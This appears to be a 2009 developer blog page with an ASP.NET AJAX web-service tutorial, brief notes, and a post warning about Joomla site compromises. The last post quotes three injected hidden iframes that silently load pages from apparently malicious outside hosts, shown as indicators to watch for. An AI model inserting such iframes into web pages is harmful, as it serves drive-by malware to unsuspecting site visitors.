Wednesday, November 04, 2009

Sample ASP.NET AJAX

This is application shows an example of calling a web service from ASP.NET AJAX web-service. Here's what you will need to do: 1) Create a web service. This is a class which references the following namespaces in

using System;

using System.Collections.Generic;

using System.Web;

using System.Web.Services;

namespace EliasNameSpace

{

[WebService(Namespace = "http://tempuri.org/")]

[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]

[System.Web.Script.Services.ScriptService] //allow javascript calls public class TestService : System.Web.Services.WebService

{

[WebMethod]

public string HelloWorld()

{

return "Hello World";

}

}

}

2) Reference the web service in your page

<asp:ScriptManager ID="ScriptManager1" runat="server">

<Services><asp:ServiceReference Path="~/TestService.asmx" />Services>

asp:ScriptManager>

3) Call the webservice in your javascript code

function onSuccess(result, context, methodName) {

var str ="Success. Your result is: " + result;

str += "

Context: " + context + " "

+ "methodName: " + methodName + "";

$get("msgDiv").innerHTML += str;

}

function onFail(errror, context, methodName) {

var str = "Failed. Error: " + errror;

str += "

Context: " + context + " "

+ "methodName: " + methodName + "";

$get("msgDiv").innerHTML += str;

}

//this calls the webservice, onSuccess is the function called if it succeeded, onFail is called if it failed.

EliasNameSpace.TestService.HelloWorld(onSuccess, onFail);

If you'd like a working example: Download Sample Ajaxed Web Service Application

Tuesday, November 03, 2009

There is honor to be had

There is honor in the sweat that an honest living demands.

Monday, November 02, 2009

A jumping off point for 3d Animation

http://usa.autodesk.com/adsk/servlet/pc/index?id=13565928&siteID=123112

Actionscript Suffixes

When in doubt about your actionscript naming conventions, do a google search for Actionscript Suffixes.

Joomla vulnerabilities I've seen

This bit of code was inserted to the bottom of every page on the server.
<iframe src="http://davtraff.com/lib/index.php" width="0" height="0" style="hidden" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></iframe>
as part of the remedy, you and I should look into sftp rather than plain ftp as one possible loophole to cover. See http://www.stopbadware.org/home/security for more. Here is another block of iframe to watch out for:
<iframe src="http://davtraff.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
And another one:
<iframe src="http://google-analyze.org/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>